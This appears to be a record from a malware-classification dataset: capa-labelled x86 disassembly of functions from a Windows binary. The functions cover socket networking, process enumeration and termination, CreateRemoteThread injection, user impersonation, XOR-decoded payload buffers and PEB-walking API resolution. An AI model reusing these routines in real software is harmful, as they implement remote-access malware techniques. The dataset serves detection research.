joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000780d
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
mov esi, ecx
mov edi, eax
mov eax, dword [esi]
xor ebx, ebx
inc ebx
push eax
mov dword [ebp - 8], ebx
add esi, 4
mov dword [ebp - 4], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0xc], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x10], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10007853
mov edi, eax
push edi
lea eax, [ebp - 0x420]
push esi
push eax
call fcn.1001c2f0
add esp, 0xc
mov byte [ebp + edi - 0x420], 0
call fcn.100022e8
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x1000789c
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 4]
push 4
push eax
call fcn.100012c1
add esp, 0xc
jmp 0x10007913
lea eax, [ebp - 0x420]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x100078af
push esi
jmp 0x10007885
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.1001c2f0
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x10]
mov word [ebp - 0x20], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x1e], ax
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x100078ac
push 0x10
lea eax, [ebp - 0x20]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x10007909
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100078ac
mov ebx, dword [ebp - 0xc]
push esi
call fcn.10007646
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007918
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x100079d0
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x100079da
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100079d0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x100079da
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100079da
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10007943
pop esi
pop ebx
leave
ret
Function at 0x10007e7d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x1003d840]
push edi
xor edi, edi
test esi, esi
je 0x10007f18
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_shutdown]
mov eax, dword [esi + 4]
test eax, eax
jne 0x10007eab
cmp dword [esi + 0xc], eax
jne 0x10007eb6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10007e96
jmp 0x10007f17
test eax, eax
jne 0x10007eab
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x10007eab
cmp dword [esi + 0x10], 0
jne 0x10007ed7
push 2
push dword [esi + 0x1c]
call ebx
cmp dword [esi + 0x10], 4
jne 0x10007ee4
push 2
push dword [esi + 0x1c]
call ebx
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x10007ef6
cmp dword [esi + 0x10], 2
je 0x10007eab
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x10007f0c
mov dword [edi + 0x20], eax
call fcn.10015812
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x10007eb0
mov dword [0x1003d840], eax
call fcn.10015812
pop ecx
pop ebx
pop edi
pop esi
ret
Function at 0x10007f1b
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [0x1003d840]
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
cmp dword [0x1003d844], edi
jne 0x10007f4a
push 0x100000
call fcn.100158ef
pop ecx
mov dword [0x1003d844], eax
cmp esi, edi
je 0x10008063
mov ebx, 0xffffc
cmp dword [esi + 4], 1
jne 0x10008058
push 4
pop edi
push dword [esi]
cmp dword [esi + 0x10], edi
jne 0x10007fd8
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003d844]
mov dword [ecx], eax
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push ebx
add ecx, 4
push ecx
mov dword [ebp - 0xc], 0x10
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x10007fbc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10008058
push 4
push 4
jmp 0x10008026
test eax, eax
jbe 0x10008058
mov ecx, dword [0x1003d844]
mov byte [ecx + eax + 4], 0
push 5
add eax, 4
push eax
push ecx
jmp 0x1000804d
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003d844]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], ebx
jbe 0x10007fff
mov dword [ebp - 4], ebx
cmp eax, 0xffffffff
je 0x10008024
cmp dword [ebp - 4], 0
jbe 0x10008058
push dword [ebp - 4]
mov eax, dword [0x1003d844]
push dword [esi + 0x1c]
add eax, 4
call fcn.10007599
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x1000803a
push edi
push edi
push dword [0x1003d844]
and dword [esi + 4], 0
call fcn.100012c1
add esp, 0xc
jmp 0x10008058
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x10008058
push 5
add ecx, 4
push ecx
push dword [0x1003d844]
call fcn.100012c1
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10007f57
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10008df7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
push dword [ebp + 0xc]
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.10007324
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.1000733d
pop ecx
mov ebx, eax
push 1
call fcn.1000a92e
mov esi, eax
pop ecx
test esi, esi
je 0x10008e45
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10008e57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x23
call fcn.1000225c
add esp, 0xc
mov edx, esi
call fcn.1000aab2
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008ecf
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94c
push ebx
push esi
push edi
xor ebx, ebx
push 0x7ff
lea eax, [ebp - 0x947]
push ebx
push eax
mov byte [ebp - 0x948], bl
call fcn.1001d4e0
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push dword [ebp + 8]
push eax
call fcn.10007324
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
call fcn.1000733d
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
mov dword [esp], 0x8000
push eax
call fcn.10001371
cmp dword [ebp - 4], ebx
pop ecx
pop ecx
jle 0x10008f3b
push dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
call fcn.100013c1
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10003bc3
pop ecx
test eax, eax
je 0x10008f55
mov dword [ebp - 8], 0x1002e6a4
jmp 0x10008f6c
call fcn.1000e26a
mov dword [ebp - 8], 0x1002e6a4
test eax, eax
jne 0x10008f6c
mov dword [ebp - 8], 0x1002e6a8
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x100090ae
lea eax, [ebp - 0x148]
push eax
push edi
mov dword [ebp - 0x148], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10008fa6
mov edx, edi
call fcn.1000aab2
jmp 0x100090ae
call fcn.10007009
mov ebx, dword [ebp - 0x140]
neg eax
sbb eax, eax
and eax, 0xc00
add eax, 0x400
push eax
call fcn.1000a92e
mov esi, eax
pop ecx
test esi, esi
jne 0x10008ff2
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x18]
push str._s_t_d_t_d_n
push eax
call fcn.100014cb
add esp, 0x14
jmp 0x1000906c
lea eax, [ebp - 0x948]
push eax
push esi
call fcn.10008e63
pop ecx
pop ecx
test eax, eax
jne 0x1000900b
mov byte [ebp - 0x948], al
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x10009023
or dword [ebp - 0x1c], 0xffffffff
push esi
call fcn.10003bc3
test eax, eax
pop ecx
mov eax, 0x1002e6a8
jne 0x10009036
mov eax, dword [ebp - 8]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x948]
push ecx
push eax
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x18]
push str._s_t_d_t_d_t_s_t_s_t_d_n
push eax
call fcn.100014cb
add esp, 0x20
mov edx, esi
call fcn.1000aab2
lea eax, [ebp - 0x148]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008fa6
mov edx, edi
call fcn.1000aab2
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x18]
jne 0x10009095
push 0x11
jmp 0x10009097
push 0x16
call fcn.1000152d
push eax
lea eax, [ebp - 0x18]
call fcn.1000152a
push eax
call fcn.100012c1
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
call fcn.1000150a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100090fa
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.100158ef
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.10015c4b
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.10015812
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x100091b9
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x100091be
push 2
mov edi, 0x1002e6d4
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x1000919f
mov esi, eax
push 3
mov edi, 0x1002e6d8
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x1000919f
push ebx
call fcn.100158ef
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1002e50c
mov edi, eax
push ebx
push edi
call fcn.10015c4b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.100090bd
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.10015812
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000913b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x100091a2

Function at 0x10009844
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
mov eax, ecx
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov al, byte [edx + eax]
xor byte [ecx + str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR], al
inc ecx
cmp ecx, 0x1800
jl 0x10009849
pop ebp
ret

Function at 0x10009866
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x1000988d
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
mov eax, esi
cdq
idiv edi
mov eax, dword [ebp + 0x10]
sub eax, edx
mov al, byte [eax + edi - 1]
xor byte [ecx], al
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x10009871
pop esi
pop ebp
ret
Function at 0x10009da2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
mov esi, 0x800
push esi
mov ebx, str.GGGGuuuuaaaarrrrddddRRRRaaaaiiiillllssssPPPPaaaayyyyllllooooaaaadddd
push ebx
mov edi, 0x1800
call fcn.10009866
add esp, 0xc
xor eax, eax
xor byte [eax + str.GGGGuuuuaaaarrrrddddRRRRaaaaiiiillllssssPPPPaaaayyyyllllooooaaaadddd], 0x8a
inc eax
cmp eax, esi
jl 0x10009dcb
push esi
lea eax, [ebp - 0x10]
push ebx
push eax
call fcn.10007324
lea eax, [ebp - 0x10]
push eax
call fcn.10007380
movzx edi, ax
add esp, 0x10
test di, di
jle 0x10009e9a
lea eax, [ebp - 0x10]
push eax
call fcn.10007380
movzx esi, ax
lea eax, [ebp - 0x10]
push eax
call fcn.10007380
movsx ebx, di
pop ecx
pop ecx
movzx ecx, ax
mov eax, dword [0x10040a0c]
shl ebx, 3
lea edi, [ebx + eax]
movsx eax, si
dec eax
mov word [edi], si
je 0x10009e65
dec eax
je 0x10009e4f
dec eax
jne 0x10009e7a
movsx eax, cx
push eax
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.1000746f
pop ecx
pop ecx
push eax
push dword [edi + 4]
call fcn.1001c2f0
add esp, 0xc
jmp 0x10009e7a
lea eax, [ebp - 0x10]
push eax
call fcn.1000733d
pop ecx
mov ecx, dword [0x10040a0c]
mov dword [ebx + ecx + 4], eax
jmp 0x10009e7a
lea eax, [ebp - 0x10]
push eax
call fcn.10007380
pop ecx
mov ecx, dword [0x10040a0c]
mov word [ebx + ecx + 4], ax
lea eax, [ebp - 0x10]
push eax
call fcn.10007380
movzx edi, ax
pop ecx
test di, di
jg 0x10009dfa
mov esi, 0x800
mov ebx, str.GGGGuuuuaaaarrrrddddRRRRaaaaiiiillllssssPPPPaaaayyyyllllooooaaaadddd
push esi
push 0
push ebx
call fcn.1001d4e0
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a119
Capabilities:
Encode data using xor

Disassembly:
cmp byte [ecx], 0
mov eax, 0x52964ee9
je 0x1000a13a
push esi
movzx edx, word [ecx]
mov esi, eax
movzx edx, dx
ror esi, 8
add esi, edx
inc ecx
xor eax, esi
cmp byte [ecx], 0
jne 0x1000a124
pop esi
ret
Function at 0x1000a170
Capabilities:
Access peb ldr_data
Get process heap flags
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 0xc]
sub esp, 0x18
push ebx
push esi
add edx, 0xc
push edi
mov edi, dword [edx]
cmp edi, edx
je 0x1000a307
mov eax, edi
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov esi, dword [eax + ecx + 0x78]
mov edi, dword [edi]
mov dword [ebp - 0xc], ecx
test esi, esi
je 0x1000a18a
add esi, ecx
cmp dword [esi + 0x18], 0
je 0x1000a18a
mov eax, dword [esi + 0xc]
add eax, ecx
mov ebx, dword [eax]
or ebx, 0x20202020
cmp ebx, 0x6c64746e
jne 0x1000a18a
mov ebx, dword [eax + 4]
or ebx, 0x20202020
cmp ebx, 0x6c642e6c
jne 0x1000a18a
mov ax, word [eax + 8]
or ax, 0x20
cmp ax, 0x6c
jne 0x1000a18a
mov eax, dword [esi + 0x20]
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 0x24]
and dword [ebp - 4], 0
push 0x1770
push 0
push dword [ebp + 8]
add eax, ecx
add edi, ecx
mov dword [ebp - 0x14], eax
add ebx, ecx
call fcn.1001d4e0
mov esi, dword [esi + 0x18]
xor eax, eax
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], esi
test esi, esi
jbe 0x1000a2af
mov esi, dword [ebp + 8]
add esi, 8
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
je 0x1000a29f
movzx eax, word [ecx]
mov edx, 0x694b
cmp ax, dx
jne 0x1000a265
call fcn.1000a119
cmp eax, 0x8dcd4499
jne 0x1000a262
mov eax, dword [ebp - 8]
movzx eax, word [ebx + eax*2]
mov edx, dword [edi + eax*4]
add edx, dword [ebp - 0xc]
call fcn.1000a13b
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x10]
movzx eax, word [ecx]
mov edx, 0x775a
cmp ax, dx
jne 0x1000a29f
call fcn.1000a119
mov dword [esi - 8], eax
mov eax, dword [ebp - 8]
movzx eax, word [ebx + eax*2]
lea eax, [edi + eax*4]
mov ecx, dword [eax]
mov eax, ecx
add eax, dword [ebp - 0xc]
inc dword [ebp - 4]
mov dword [esi - 4], ecx
mov dword [esi], eax
add esi, 0xc
cmp dword [ebp - 4], 0x1f4
je 0x1000a2af
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x18]
jb 0x1000a224
mov eax, dword [ebp - 4]
and dword [ebp - 8], 0
dec eax
mov dword [ebp - 0x18], eax
je 0x1000a307
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
dec ecx
je 0x1000a2fc
mov eax, dword [ebp + 8]
add eax, 4
mov dword [ebp - 0x10], ecx
mov edi, dword [eax]
lea ecx, [eax + 0xc]
cmp edi, dword [ecx]
jbe 0x1000a2f5
mov ebx, dword [eax + 8]
mov edx, dword [eax - 4]
mov esi, dword [eax + 4]
mov dword [eax - 4], ebx
mov ebx, dword [ecx]
mov dword [eax], ebx
mov ebx, dword [eax + 0x10]
mov dword [eax + 4], ebx
mov dword [eax + 8], edx
mov dword [ecx], edi
mov dword [eax + 0x10], esi
dec dword [ebp - 0x10]
mov eax, ecx
jne 0x1000a2ce
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jb 0x1000a2bc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a803
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x1003d898], 0
je 0x1000a863
mov ecx, dword [0x1003d894]
cmp ecx, 1
jne 0x1000a824
mov eax, dword [0x1004097c]
test eax, eax
jne 0x1000a858
cmp ecx, 2
jne 0x1000a863
mov eax, dword [0x10040980]
test eax, eax
je 0x1000a863
mov dword [0x1003d88c], eax
mov eax, dword [0x10040984]
mov dword [0x1003d890], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1001573f
pop ecx
pop ecx
test eax, eax
jne 0x1000a863
mov eax, dword [ebp - 4]
leave
ret
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 8]
call eax
jmp 0x1000a84f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
leave
ret

Function at 0x1000a86e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [0x1003d898], esi
je 0x1000a90b
mov eax, dword [0x1003d894]
cmp eax, 1
jne 0x1000a893
cmp dword [0x10040988], esi
jne 0x1000a8a0
cmp eax, 2
jne 0x1000a90b
cmp dword [0x1004098c], esi
je 0x1000a90b
mov eax, dword [ebp + 8]
cmp eax, esi
jne 0x1000a8ad
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp dword [0x1003d894], 1
push esi
push esi
push esi
push esi
push 1
push ebx
push dword [ebp + 0xc]
push eax
push esi
lea eax, [ebp - 4]
push 0x1fffff
push eax
jne 0x1000a8d3
call dword [0x10040988]
jmp 0x1000a8f3
mov ecx, dword [0x1004098c]
mov dword [0x1003d88c], ecx
mov ecx, dword [0x10040990]
mov dword [0x1003d890], ecx
call fcn.1001574e
add esp, 0x2c
cmp eax, esi
jne 0x1000a90b
test byte [ebp + 0x10], 4
jne 0x1000a906
push dword [ebp - 4]
call fcn.1000a803
pop ecx
mov eax, dword [ebp - 4]
jmp 0x1000a92b
push esi
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push esi
push esi
cmp dword [ebp + 8], esi
jne 0x1000a922
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1000a92b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop esi
leave
ret

Function at 0x1000b044
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push 0x37
pop ecx
call fcn.100098d2
push 0x27
pop ecx
movzx esi, ax
call fcn.100098d2
xor ebx, ebx
inc ebx
push ebx
push 0
movzx edi, ax
call fcn.1000198f
pop ecx
pop ecx
call fcn.100065f6
call fcn.1000bd2f
cmp esi, ebx
jne 0x1000b091
cmp edi, ebx
jne 0x1000b089
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b07c
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
cmp edi, ebx
jne 0x1000b0b6
push 0xffffffffffffffff
push 0
push dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ebx, ebx
push 0
call fcn.1000a86e
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebx
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000b46f
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000b119
push 0x1003d8a4
push 3
push 9
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x1000b4ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x18
call fcn.10002216
pop ecx
pop ecx
jmp 0x1000b593
push dword [0x1003d8a4]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1000b4c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x19
jmp 0x1000b4a2
push 0x800
call fcn.100072b2
mov esi, 0x200
push esi
push eax
mov dword [0x1003d8b4], eax
call fcn.1000746f
push esi
push dword [0x1003d8b4]
mov dword [0x1003d8a8], eax
call fcn.1000746f
mov ebx, 0x400
push ebx
push dword [0x1003d8b4]
mov dword [0x1003d8ac], eax
call fcn.1000746f
mov edi, 0x100
push edi
push dword [0x1003d8ac]
mov dword [0x1003d8b0], eax
push dword [ebp + 0xc]
call fcn.10002a5a
push edi
push dword [0x1003d8a8]
push dword [ebp + 8]
call fcn.10002a5a
push esi
push dword [0x1003d8b0]
push dword [ebp + 0x10]
call fcn.10002a5a
add esp, 0x40
lea eax, [ebp - 0x10]
push ebx
push eax
mov dword [0x1003d8b8], 1
call fcn.10001371
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push dword [ebp + 8]
push str._s_s
push eax
call fcn.100014cb
add esp, 0x18
push 0x23
lea eax, [ebp - 0x10]
call fcn.1000152d
push eax
lea eax, [ebp - 0x10]
call fcn.1000152a
push eax
call dword [ebp + 0x14]
lea eax, [ebp - 0x10]
push eax
call fcn.1000150a
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000b639
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x1000b697
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1000b68e
mov dword [ebp - 4], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x1000bf09
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push 0
push 1
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1000bf41
add esi, eax
cmp esi, 2
jb 0x1000bf39
cmp byte [esi + edi - 1], 0xa
jne 0x1000bf39
cmp byte [esi + edi - 2], 0xd
je 0x1000bf47
cmp esi, 0x800
jb 0x1000bf0f
or eax, 0xffffffff
pop esi
pop ebp
ret
mov byte [esi + edi - 2], 0
mov eax, esi
jmp 0x1000bf44
Function at 0x1000bfb7
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
call fcn.100022e8
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000bfdd
push eax
call sub.WS2_32.dll_closesocket
jmp 0x1000c036
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x10], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0xc], 0x100007f
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000c00c
push esi
jmp 0x1000bfd6
push 0x78
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1000c009
push ebx
push dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
push esi
call fcn.1000be70
push eax
push 0x1000bf50
call fcn.1000b011
add esp, 0x10
pop ebx
pop esi
leave
ret